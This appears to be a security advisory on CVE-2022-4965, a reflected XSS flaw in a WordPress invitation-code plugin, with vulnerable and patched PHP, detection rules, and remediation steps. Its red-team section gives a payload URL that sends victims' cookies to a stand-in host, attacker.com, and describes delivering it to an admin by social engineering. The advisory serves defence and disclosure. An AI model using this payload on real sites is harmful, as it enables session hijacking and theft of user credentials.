CVE-2022-4965

Executive Summary

CVE-2022-4965 is a reflected cross-site scripting (XSS) vulnerability in the Invitation Code Content Restriction Plugin from CreativeMinds for WordPress. The flaw exists in all versions up to and including 1.5.4. An unauthenticated attacker can inject arbitrary web scripts via the target_id parameter due to insufficient input sanitization and output escaping. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the victim's browser session. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the lack of a patch makes this a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No patch has been released by the vendor (CreativeMinds). Users should consider removing or replacing the plugin if it is not actively maintained.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction, but the lack of authentication and the ability to execute arbitrary scripts in the victim's session make this a significant threat for targeted phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the target_id parameter, which is used by the plugin to handle invitation code restrictions. The plugin fails to sanitize user-supplied input before reflecting it in the response. An attacker can craft a URL like:

https://victim-site.com/?invitation-code-content-restriction=1&target_id=<script>alert('XSS')</script>

When a logged-in administrator or user clicks this link, the script executes in the context of the WordPress site, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to malicious sites.

The root cause is the use of $_GET['target_id'] without proper escaping or validation before outputting it in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.5.4):

<?php
// In some plugin file (e.g., invitation-code-content-restriction.php)
$target_id = $_GET['target_id'];
echo '<input type="hidden" id="target_id" value="' . $target_id . '">';
?>

Patched Code (hypothetical fix):

<?php
$target_id = isset($_GET['target_id']) ? sanitize_text_field($_GET['target_id']) : '';
echo '<input type="hidden" id="target_id" value="' . esc_attr($target_id) . '">';
?>

The fix uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with the vulnerable plugin (version 1.5.4) on a local or cloud environment.
2. Craft Payload: Create a malicious URL:

   http://localhost/wp/?invitation-code-content-restriction=1&target_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Deliver: Send the link to a logged-in admin via email or social engineering.
4. Exfiltrate: Set up a listener on attacker.com to capture cookies.

Blue Team (Defense & Detection)

1. Monitor Logs: Look for abnormal target_id parameters in web server access logs.
2. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script> in the target_id parameter.
3. User Training: Educate users not to click suspicious links, especially those containing query parameters.

Indicators of Compromise (IOCs)

• URL Pattern: ?invitation-code-content-restriction=1&target_id=<script>...
• HTTP Request: GET requests with target_id parameter containing HTML/JavaScript tags.
• Referer Header: Suspicious referrers from phishing emails or unknown sources.
• Cookie Exfiltration: Outbound connections to unknown domains with cookie data in the URL.

Detection Engineering

YARA Rule

rule CVE_2022_4965_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2022-4965 in WordPress Invitation Code Content Restriction plugin"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
    strings:
        $payload1 = /target_id=.*<script/i
        $payload2 = /target_id=.*%3Cscript/i
        $payload3 = /target_id=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt via target_id Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious payloads in the target_id parameter targeting CVE-2022-4965
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "invitation-code-content-restriction=1"
        c-uri|contains|all:
            - "target_id="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-4965 Reflected XSS Attempt"; flow:to_server,established; content:"invitation-code-content-restriction=1"; http_uri; content:"target_id="; http_uri; pcre:"/target_id=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or disable the plugin if no patch is available.
2. Alternative: Replace with a maintained plugin that offers similar functionality.
3. WAF Rule: Block requests containing <script> in the target_id parameter.
4. Input Validation: Implement server-side validation to reject non-alphanumeric characters in target_id.
5. User Awareness: Train users to avoid clicking suspicious links.

Valters IT
Securing Digital Frontiers